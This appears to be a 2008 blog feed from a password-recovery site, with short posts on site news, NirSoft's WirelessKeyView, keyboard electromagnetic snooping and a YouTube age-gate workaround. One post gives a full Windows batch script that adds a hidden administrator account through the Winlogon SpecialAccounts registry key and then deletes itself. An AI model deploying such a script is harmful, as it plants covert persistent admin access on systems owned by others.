It wasn’t the fault of the 10k+ hits we’ve been getting in the last week, it was due to a plugin for wordpress called wassup. We disabled it and now should be good to go

With all this new traffic Whatsmypass is now offering adspace to help support the server costs for the bandwidth, If you are interested buying some adspace make us an offer and send it to sales (at) whatsmypass.com. If you would like to donate through paypal it can be sent to that same address. Alternatively we are also selling our password recovery programs so you can can more bang for your buck. Thank you to everyone visiting the site during the holidays and Happy New Year to all we look forward to helping you out in 2009.

The new version of WirelessKeyView from Nirsoft now allows you to recover your wireless network keys from external instance of Windows XP operating system (Vista is not supported yet). This feature can be useful if you have a dead system that cannot boot anymore.

Happy Thankgiving to everyone who celebrates 🙂

A team of Swiss researchers have discovered a security vulnerability in many modern keyboards that allow keystrokes to be captured remotely by tracking electromagnetic emissions. The discovery raises concerns about entering sensitive data like banking passwords using a computer keyboard or even an ATM keypad.
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Our friends over at WonderHowTo.com just launched the 2008 Video Awards! For those of you who have never been to the site, or seen our left sidebar on this site linking to their videos,they are the one-stop shop for all how-to videos on the internet. With a library of over 225,000 videos they provide the largest, most contemporary, and most diverse resource in this increasingly growing space.

The WonderHowTo 2008 Video Awards! is their first annual competition that celebrates excellent instructional videos…on any topic under the sun. Since they source and index videos from more than 1900 specialty sites around the world, they truly get front row seats to every insanely wonderful tutorial that is produced. WonderHowTo picked the nominees based on numerous factors including; intent to instruct, originality of concept, and story telling. Categories include Hacks, Sex, Pranks, Weird Science and many more. These finalists’ videos are extremely interesting and I have a feeling that the voting will come down to the wire

Voting will be open for one month, from October 13th through midnight PST November 13, so get over to WonderHowTo right now and vote on the 2008 Best How To Videos In The Universe.

Nice little .bat script trick from illwill @ illmob.org that will create user who’s account will be hidden from the logon screen and the User Accounts screen in control panel. This will only work if its ran from an account that has admin rights. It’s great for a backup account.

@echo off
rem HideUser.bat 
rem by illwill    http://illmob.org
rem This will create a hidden user with admin rights in XP/Vista
rem ( hidden meaning that the username wont appear in the logon screen)
rem change the illwill & passw0rd to your own
rem Add once you log into your new account dont forget to hide the user folder
rem "attrib +r +a +s +h %USERPROFILE%"


SET NEWUSER=adm1n
SET PASS=passw0rd

net user %NEWUSER% %PASS% /add && net localgroup administrators %NEWUSER% /add>nul 2>&1
reg.exe ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v %NEWUSER% /t REG_DWORD /d 0 /f>nul 2>&1
DEL %0

This firefox extension simply checks if the URL you’ve just opened contains YouTube’s VerifyAge-page. If it does, it’ll grab the video-ID of the video-clip you just tried to watch and open up a popup-window with that video – WITHOUT having to login / register.
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